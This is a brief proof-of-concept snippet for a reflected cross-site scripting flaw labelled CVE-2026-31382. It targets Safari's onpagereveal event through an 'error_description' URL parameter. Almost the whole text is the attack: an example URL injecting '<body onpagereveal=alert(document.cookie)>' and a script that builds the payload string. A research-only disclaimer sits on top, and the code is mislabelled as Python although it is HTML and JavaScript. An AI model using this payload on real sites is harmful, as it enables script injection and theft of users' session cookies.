The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-31382 -->
<!-- Targeting Safari browser with onpagereveal event -->
<!-- Vulnerable Parameter: error_description -->
<!-- Example URL -->
<!-- https://target-domain.com/error?error_description=<body onpagereveal=alert(document.cookie)> -->
<script>
// Simulating the attack vector
// The payload injects a body tag with the onpagereveal event handler
var payload = '<body onpagereveal=alert("XSS")>';
console.log("Payload:", payload);
</script>